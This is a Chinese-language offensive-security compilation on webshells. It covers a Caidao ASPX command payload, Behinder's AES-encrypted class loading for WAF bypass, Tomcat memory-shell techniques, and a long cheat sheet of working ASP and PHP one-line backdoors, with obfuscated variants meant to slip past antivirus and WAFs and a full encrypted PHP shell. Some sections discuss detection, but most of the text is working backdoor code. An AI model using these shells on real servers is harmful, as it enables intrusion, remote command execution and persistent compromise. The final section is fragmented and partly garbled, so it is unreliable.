新型webshell的研究
- 招募六边形战士队员
- webshell与MemoryShell内存马
- 新型一句话木马之Java篇 AES加密Class二进制解析
- 友军防护
- 为什么会被拦截
- SO waf防护规则
- END 一劳永逸绕过waf
- 实现篇
- 服务端实现
- 前言:你马没了
- 利用JavaAgent技术发现并清除系统中的内存马
- 介绍
- 安全行业主要讨论的内存马主要分为以下几种方式
- 写入测试
- Servlet API 提供的动态注册机制
- Filter 内存马
- 使用 ServletContext 添加 Filter 内存马的方法。
- Servlet 内存马
- Listener 内存马
- 应用中可能调用的监听器如下
- webshell免杀总结手记)
- 关于webshell
- 两步走
- 1数据的传递
- 1.1HTTP请求中获取数据
- 1.2从远程URL中获取数据
- 1.3从磁盘文件中获取数据
- 1.4从数据库中读取
- 1.5从图片头部中获取
- 2执行所传递的数据
- 2.1 常用命令执行函数
- 2.2 LFI
- 2.3 动态函数执行
- 2.4 Curly Syntax
- 一句话
- eval:
- assert:
- 一些常见方法:
- 各个环境大小马
- ASP
- php
- 关于WAF
- WAF检测思路
- 分析统计内容:
- 语义分析:
- 机器学习:
- 动态监控:
- php 免杀
- 哥斯拉 Godzilla php_XOR_BASE64
- jsp 免杀
- webshell客户端总结文章
- 试探性脚本
- 分析behinder4.0源代码
- 新型客户端与木ma原理-冰蝎
- 木马收信库
- 拒绝后门 自己打造
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
webshell与MemoryShell内存马
新型一句话木马之Java篇 AES加密Class二进制解析
一句话木马是一般是指一段短小精悍的恶意代码,
这段代码可以用作一个代理来执行攻击者发送过来的任意指令,
因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。
一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。
最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。
客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。
无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
友军防护
涌现出了各种防护系统,这些防护系统主要分为两类:
一类是基于主机的,
如Host based IDS、安全狗、D盾等,
基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;
另一类是基于网络流量的,
如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,
基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。
一旦目标网络部署了基于网络的防护设备,
我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。
为什么会被拦截
一句话客户端发送的请求会被拦截
以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:
Payload如下:
caidao=Response.Write("->|");
var err:Exception;
try{
eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");
}catch(err){
Response.Write("ERROR:// "%2Berr.message);
}
Response.Write("|<-");
Response.End();
&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
bace64内的内容
var c=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["z1"])));
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c "+System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(Request.Item["z2"]));
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd()+EI.ReadToEnd());÷ýÃ
虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,
比如有eval关键词,有Convert.FromBase64String,
有三个参数,参数名为caidao(密码字段)、z1、z2,
参数值有base64编码。
针对这些特征很容易写出对应的防护规则,
比如:
POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。
攻击者只要自定义自己的payload即可绕过,
比如把参数改下名字即可,把z1,z2改成z9和z10。
不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。
采用多种组合编码方式进行编码,对payload进行加密等等,
不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。
SO waf防护规则
防护之所以能不停的去更新自己的规则,主要是因为两个原因:
- 攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。
- 攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
END 一劳永逸绕过waf
如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),
字节码是一堆二进制数据流,不存在参数;
攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;
攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
具体流程如下:
- 首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
- 客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
- 服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
- 服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
客户端解密服务器端返回的结果。
实现篇
服务端实现
想要直接解析已经编译好的二进制字节流,打造一个新型一句话木马。
- 服务器端动态解析二进制class文件:
首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
Java并没有提供直接解析class字节数组的接口。
classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:
该方法是protected的,我们没办法在外部直接调用,
当然我们可以通过反射来修改保护属性,
不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
前言:你马没了
利用JavaAgent技术发现并清除系统中的内存马
Github:https://github.com/su18/MemoryShell
介绍
内存马又名无文件马,见名知意,也就是无文件落地的 webshell 技术,
是由于 webshell 特征识别、防篡改、目录监控等等
针对 web 应用目录或服务器文件防御手段的介入,
导致的文件 shell 难以写入和持久而衍生出的一种“概念型”木马。
这种技术的核心思想非常简单,一句话就能概括,
那就是对访问路径映射及相关处理代码的动态注册。
这种动态注册技术来源非常久远,在安全行业里也一直是不温不火的状态,
直到冰蝎的更新将 java agent 类型的内存马重新带入大众视野
并且瞬间火爆起来。这种技术的爆红除了概念新颖外,
也确实符合时代发展潮流,
现在针对 webshell 的查杀和识别已经花样百出,
大厂研发的使用分类、概率
等等方式训练的机器学习算法模型
,
基于神经网络
的流量
层面的特征识别手段
,
基本上都花式吊打常规文件型 webshell。
如果你不会写,不会绕,还仅仅使用网上下载的 jsp ,那肯定是不行的。
内存马搭上了
冰蝎和反序列化漏洞的快车,快速占领了人们的视野,成为了主流的 webshell 写入方式。
作为 RASP 技术的使用者,
自然也要来研究和学习一下内存马的思想、原理、添加方式,
并探究较好、较通用的防御和查杀方式。
安全行业主要讨论的内存马主要分为以下几种方式
• 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
• 动态注册 interceptor/controller(使用框架如 spring/struts2)
• 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
• 使用 java agent 技术写入字节码
写入测试
Servlet API 提供的动态注册机制
2013 年,国际大站 p2j 就发布了这种特性的一种使用方法:
Servlet、Listener、Filter
由 javax.servlet.ServletContext 去加载
无论是使用 xml 配置文件
还是使用 Annotation 注解配置
均由 Web 容器进行初始化,
读取其中的配置属性,然后向容器中进行注册。
Servlet 3.0 API 允许使 ServletContext 用动态进行注册
在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。
可以看到 ServletContext 提供了 add*/create* 方法来实现动态注册的功能。
在不同的容器中,实现有所不同,这里仅以 Tomcat 为例调试,其他中间件在代码中有部分实现。
Filter 内存马
Filter 我们称之为过滤器,
是 Java 中最常见也最实用的技术之一,
通常被用来处理静态 web 资源
、访问权限控制
、记录日志
等附加功能等等。
一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理
,再交给 Servlet。
通常情况下,Filter 配置在配置文件
和注解
中,在其他代码中如果想要完成注册,主要有以下几种方式:
1. 使用 ServletContext 的 addFilter/createFilter 方法注册;
2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册
(将会在 Listener 中进行描述);
3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。
使用 ServletContext 添加 Filter 内存马的方法。
看一下 createFilter 方法
按照注释,这个类用来在调用 addFilter
向 ServletContext 实例化
一个指定的 Filter 类。
这个类还约定了一个事情,那就是
如果这个 ServletContext 传递给 ServletContextListener 的 ServletContextListener.contextInitialized 方法,
该方法 即 未在 web.xml 或 web-fragment.xml 中声明,
也未使用 javax.servlet.annotation.WebListener 进行注释,
则会抛出 UnsupportedOperationException 异常,这个约定其实是非常重要的一点。
接下来看 addFilter 方法
ServletContext 中有三个重载方法,
分别接收字符串类型的 filterName
以及 Filter 对象/className 字符串/Filter 子类的 Class 对象,
提供不同场景下添加 filter 的功能,
这些方法均返回 FilterRegistration.Dynamic 实际上就是 FilterRegistration 对象。
addFilter 方法实际上就是动态添加 filter 的最核心和关键的方法,
但是这个类中同样约定了 UnsupportedOperationException 异常。
由于 Servlet API 只是提供接口定义,
具体的实现还要看具体的容器,
那我们首先以 Tomcat 7.0.96 为例,看一下具体的实现细节。
相关实现方法在 org.apache.catalina.core.ApplicationContext#addFilter 中。
可以看到,这个方法创建了一个 FilterDef 对象,
将 filterName、filterClass、filter 对象初始化进去,
使用 StandardContext 的 addFilterDef 方法将创建的 FilterDef 储存在了 StandardContext 中的一个 Hashmap filterDefs 中,
然后 new 了一个 ApplicationFilterRegistration 对象并且返回,
并没有将这个 Filter 放到 FilterChain 中,
单纯调用这个方法不会完成自定义 Filter 的注册。
并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter。
直接操纵 FilterChain 呢?
FilterChain 在 Tomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain,
这个类提供了一个 addFilter 方法添加 Filter,
这个方法接受一个 ApplicationFilterConfig 对象,将其放在 this.filters 中。
答案是可以,但是没用,因为对于每次请求需要执行的 FilterChain 都是动态取得的。
那Tomcat 是如何处理一次请求对应的 FilterChain 的呢?
在 ApplicationFilterFactory 的 createFilterChain 方法中,可以看到流程如下:
• 在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配;
• 如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig;
• 如果获取到 filterConfig,则将其加入到 filterChain 中
• 后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法。
通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,
如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,
在 filterConfigs 中添加 ApplicationFilterConfig。这样程序创建时就可以找到添加的 Filter 了。
在之前的 ApplicationContext 的 addFilter 中将 filter 初始化存在了 StandardContext 的 filterDefs 中,那后面又是如何添加在其他参数中的呢?
在 StandardContext 的 filterStart 方法中生成了 filterConfigs
在 ApplicationFilterRegistration 的 addMappingForUrlPatterns 中生成了 filterMaps。
而这两者的信息都是从 filterDefs 中的对象获取的。
在了解了上述逻辑后,在应用程序中动态的添加一个 filter 的思路就清晰了:
• 调用 ApplicationContext 的 addFilter 方法创建 filterDefs 对象,需要反射修改应用程序的运行状态,加完之后再改回来;
• 调用 StandardContext 的 filterStart 方法生成 filterConfigs;
• 调用 ApplicationFilterRegistration 的 addMappingForUrlPatterns 生成 filterMaps;
• 为了兼容某些特殊情况,将我们加入的 filter 放在 filterMaps 的第一位,
可以自己修改 HashMap 中的顺序,
也可以在自己调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位。
基于以上思路的实现在 threedr3am 师傅的 文章 中有实现代码,
既然知道了需要修改的关键位置,那就没有必要调用方法去改,直接用反射加进去就好了,
其中中间还有很多小细节可以变化。
写一个 demo 模拟一下动态添加一个 filter 的过程。
首先我们有一个 IndexServlet,如果请求参数有 id 的话,则打印在页面上。
现在我们想实现在程序运行过程中动态添加一个 filter ,
提供将 id 参数的数字值 + 3 的功能(随便瞎想的功能。)
具体代码放在了 org.su18.memshell.web.servlet.AddTomcatFilterServlet 中
普通访问时,会将 id 的值打印出来
访问添加 filter。
再次访问,id 参数会被加三。
Servlet 内存马
Servlet 是 Server Applet(服务器端小程序)的缩写,用来读取客户端发送的数据,处理并返回结果。也是最常见的 Java 技术之一。
与 Filter 相同,本小节也仅仅讨论使用 ServletContext 的相关方法添加 Servlet。
还是首先来看一下实现类 ApplicationContext 的 addServlet 方法。
与上一小节看到的 addFilter 方法十分类似。
那么我们面临同样的问题,在一次访问到达 Tomcat 时,是如何匹配到具体的 Servlet 的?
这个过程简单一点,只有两部走:
• ApplicationServletRegistration 的 addMapping 方法调用 StandardContext#addServletMapping 方法,
在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)
• 同时在 servletMappings 中添加 URL 路径与 name 的映射。
直接调用相关方法进行添加,当然是用反射直接写入也可以,有一些逻辑较为复杂。
测试代码在 org.su18.memshell.web.servlet.AddTomcatServlet 中,
访问这个 servlet 会在程序中生成一个新的 Servlet :/su18。
看一下效果。
Listener 内存马
Servlet 和 Filter 是程序员常接触的两个技术,
所以在网络上对于之前两小节的讨论较多,
对于 Listener 的讨论较少。但实际上这个点还是有很多师傅关注到了。
Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,
因此依靠它也可以完成内存马的实现。
先来了解一下 Listener 是干什么的,看一下 Servlet API 中的注释。
应用中可能调用的监听器如下
• ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
• ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
• ServletRequestListener:对 Request 请求进行监听(创建、销毁)
• ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
• javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
• javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
可以看到 Listener 也是为一次访问的请求或生命周期进行服务的,
在上述每个不同的接口中,都提供了不同的方法,用来在监听的对象发生改变时进行触发。
而这些类接口,实际上都是 java.util.EventListener 的子接口。
这里我们看到,在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马。
除了这个 Listener,其他的 Listener 在某些情况下也可以触发作为内存马的实现.
ServletRequestListener 提供两个方法:
requestInitialized 和 requestDestroyed,
两个方法均接收 ServletRequestEvent 作为参数,
ServletRequestEvent 中又储存了 ServletContext 对象和 ServletRequest 对象,
因此在访问请求过程中我们可以在 request 创建和销毁时实现自己的恶意代码,完成内存马的实现。
Tomcat 中 EventListeners 存放在
StandardContext 的 applicationEventListenersObjects 属性中,
同样可以使用 StandardContext 的相关 add 方法添加。
我们还是实现一个简单的功能,在 requestDestroyed 方法中获取 response 对象,
向页面原本输出多写出一个字符串。正常访问时:
添加 Listener,可以看到,
由于我们是在 requestDestroyed 中植入恶意逻辑,那么在本次请求中就已经生效了:
访问之前的路径也生效了:
除了 EventListener,Tomcat 还存在了一个 LifecycleListener ,
当然也肯定有可以用来触发的实现类,但是用起来一定是不如 ServletRequestListener
由于在 ServletRequestListener 中可以获取到 ServletRequestEvent,
这其中又存了很多东西,ServletContext/StandardContext 都可以获取到,那玩法就变得更多了。
在 requestInitialized 中监听,如果访问到了某个特定的 URL,
或这次请求中包含某些特征(可以拿到 request 对象,随便怎么定义),
则新起一个线程去 StandardContext 中注册一个 Filter,可以实现某些恶意功能。
在 requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。
有了一个真正的动态后门,只有用的时候才回去注册它,用完就删。
可以看出 Listener 内存马的危害性和玩法的变化要大于 Filter/Servlet 内存马的.
文章来自: https://mp.weixin.qq.com/s/YSZAeuth62dLiPIgq3DZDg
webshell免杀总结手记)
关于webshell
所谓webshell,就是向服务器端发送恶意代码写成的文件(即:shell)。
客户端通过远程连接,利用shell连接到服务器。
并可对服务器进行操作。
两步走
1数据的传递
1.1HTTP请求中获取数据
$_GET、$_POST、$_COOKIES、$_FILE…
HTTP包中的任何位置都可以作为payload
的传输媒介
1.2从远程URL中获取数据
file_get_contents、curl、svn_checkout…
将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取
1.3从磁盘文件中获取数据
file、file_get_contents…
将需要执行的指令数据放在磁盘文件中,利用IO函数来读取
1.4从数据库中读取
将需要执行的指令放在数据库中,利用数据库函数来读取
1.5从图片头部中获取
exif_read_data…
将需要执行的指令数据放在图片头部中,利用图片操作函数来读取
2执行所传递的数据
代码执行
2.1 常用命令执行函数
eval、system、assert、exec、shell_exec…
最普通、标准的代码执行
2.2 LFI
include、require…
利用浏览器的伪协议将文件包含转化为代码执行
2.3 动态函数执行
$()…
PHP的动态函数特性
2.4 Curly Syntax
${${…}}…
以把变量赋值的漏洞转化为代码执行的机会
一句话
最常见的就是eval和assert
eval:
PHP 4, PHP 5, PHP 7+ 均可用
接受一个参数,将字符串作为PHP代码执行(必须符合PHP代码要求)
assert:
PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数
php 5.4.8版本后可以接受两个参数。
php5
中assert是一个函数
可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码;
php7
中,assert不再是函数,
变成了一个语言结构(类似eval),不能再作为函数名动态执行代码
<?php eval(@$_POST['a']); ?>
<?php assert(@$_POST['a']); ?>
一些常见方法:
命令执行类:
通过eval、assert、system、create_function等函数来执行命令
动态构造类:在php支持的动态构造函数中调用执行命令
preg类:正则系列函数可以使用/e模式正则来执行命令
回调函数类:利用回调函数构造的Webshell,覆盖所有的callable类型参数
反射函数类:利用ReflectionFunction等类,以及对应的invoke等方法执行命令
各个环境大小马
ASP
<%eval request("chopper")%>
<%execute request("chopper")%>
<%execute(request("chopper"))%>
<%ExecuteGlobal request("chopper")%>
<%Eval(Request(chr(35)))%>
<%dy=request("c")%><%Eval(dy)%>
<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>
<% if Request("c")<>"" then ExecuteGlobal request("c") end if %>
<%execute request("c")%><%'<% loop <%:%>
< %'<% loop <%:%><%execute request("a")%>
<script language=vbs runat=server>eval(request("c"))</script>
<script language=VBScript runat=server>execute request("#")</script>
<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("c"))%>
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>
<%execute(unescape("eval%20request%28%22aaa%22%29"))%>
UTF-7编码加密:
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
Script Encoder 加密 //密码c
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^PgAAAA==~b0~"+$E+kYvEmr#@!@*rJ~O4+x,36mEDn!VK4mV~Dn5!+dYvEmr#~n NPrW,SBMAAA==^#~@%>
这段代码将"eval request(/*/z/*/)"逆序成")/*/z/*/(tseuqer lave", 以逃避特征码查杀, 当脚本被访问, 其代码会被动态的解码还原成原始的一句话后门. 当前90%以上的未知后门和变形后门都是使用此类动态解码技术
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
%>
密码 z
可以躲过雷客图的一句话木马:
<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.AddObject "session", session
ms.AddObject "server", server
ms.AddObject "application", application
ms.ExecuteStatement ("ex"&"e"&"cute(request(chr(35)))")%>
<%
password=Request("class")
Execute(AACode("457865637574652870617373776F726429")):Function AACode(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("AACode=AACode&chr(&H"&c&")"):Else:Execute("AACode=AACode&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:End Function
%>
<%
password=Request("class")
Execute(DeAsc("%87%138%119%117%135%134%119%58%130%115%133%133%137%129%132%118%59")):Function DeAsc(Str):Str=Split(Str,"%"):For I=1 To Ubound(Str):DeAsc=DeAsc&Chr(Str(I)-18):Next:End Function
%>
php
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
关于WAF
主要是D盾、安全狗,护卫神等,
其他还有杀毒软件如火绒、360
WAF检测思路
分析统计内容:
结合黑名单或者其他特征列表,
例如代码片段的hash特征列表。
之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell
语义分析:
把代码转换成AST语法树,
之后可以对一些函数进行调试追踪,
那些混淆或者变形过的webshell基本都能被检测到。
代码审计常常会使用这种方法
机器学习:
这种方法需要大量的样本数据,通过一些学习模型,总结归类webshell的特征库,最终去检测webshell
动态监控:
采用RASP方式,这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数,
一但存在调用过程将会立刻阻止。
这种阻止效果是实时的,这种方法应该是效果最好的,但是成本也十分的高昂。
https://www.csdn.net/tags/OtTacg4sMDEzMy1ibG9n.html
https://xz.aliyun.com/t/10937
https://xz.aliyun.com/t/10989
php 免杀
传统php免杀
变形 + 外部参数 =解析=waf防火墙==> 命令执行
语法报错->解析失败
php版本 语义出错 php命令执行
- 利用在高版本php语法不换行来执行命令
<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
5.2.17nts 版本报错
5.3.29nts 报错
5.4.45nts 报错
7.3.4nts 执行
- 利用\特殊符号 引起报错
<?php
\echo `whoami`;?>
5.3.29nts 报错
7.3.4nts 报错
5.2.17nts
- 十六进制字符串
7 不认为是数字
5为数字
5.3 5.5 可执行
5.2 7 无法执行
<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
哥斯拉 Godzilla php_XOR_BASE64
python -m http.server 5788
jsp 免杀
webshell客户端总结文章
试探性脚本
<html>
<head>
<title>第一个JSP程序</title>
</head>
<boby>
<%
out.println("Hello,World!");
%>
</boby>
</html>
<html>
<head><title>Hello World</title></head>
<body>
Hello World!<br/>
<%
out.println("Your IP address is " + request.getRemoteAddr());
%>
</body>
</html>
分析behinder4.0源代码
jadx 反编译
新型客户端与木ma原理-冰蝎
一句话木马,可以解析并执行客户端传递过来的加密二进制流。
从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
新型一句话木ma,不同版本编程语言的特点,
客户端的差异化。
Java+SWT开发,支持Windows、Linux、MacOS(Mac系统需通过-XstartOnFirstThread参数执行。
-
客户端和服务端握手之后,会获取服务器的基本信息,
Java、.NET版本包括环境变量、系统属性等,PHP版本会显示phpinfo的内容。 -
文件的增删改查,稍微不同的是上传的文件都是加密传输的,可以避免被拦截。
-
命令执行
-
虚拟终端
拟了一个真实的交互式Shell环境,相当于把服务器侧的Shell给搬到了客户端,
在这个Shell里可以执行各种需要交互式的命令,
如ssh、mysql。 我们可以在这个Shell里去ssh连接服务器侧内网的其他主机。
习惯powershell,也可以弹个powershell出来
5. Socks代理
基于一句话木马的Socks代理功能
代理过程中所有的流量都是在socks的基础上封装了一层AES。
- 反弹Shell
突破防火墙的利器,也几乎是后渗透过程的必备步骤。
两种反弹Shell的方式,常规Shell和Meterpreter
7. 数据库管理
在Java和.NET环境中,当目标机器中没有对应数据库的驱动时,
会自动上传并加载数据库驱动。比如目标程序用的是MySQL的数据,但是内网有另外一台Oracle,此时就会自动上传并加载Oracle对应的驱动。
8. 自定义代码
可以在服务端执行任意的Java、PHP、C#代码
我们输入的代码都是加密传输的,所以不用为了躲避waf而用各种编码变形
8. 备忘录
功能介绍原文链接:
《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
工作原理原文链接:
《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774
《冰蝎v4.0传输协议详解》 https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
木马收信库
拒绝后门 自己打造
asp php 开发 木马 —> 收信库
- 高级后门 编程方法
- 准备一款 解密过的asp木马
ps: 一些老家伙
-
web环境空间 (支持asp )
-
创建收信文件夹 为 回信WWW根目录 —> XXX
-
可用 域名
-
这里面 http:// 反写了
-
收信 成功
000hhhhhhh述](https://img-blog.csdnimg.cn/20200122091501666.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzNjA4MDAw,size_16,color_FFFFFF,t_70) -
简单加密处理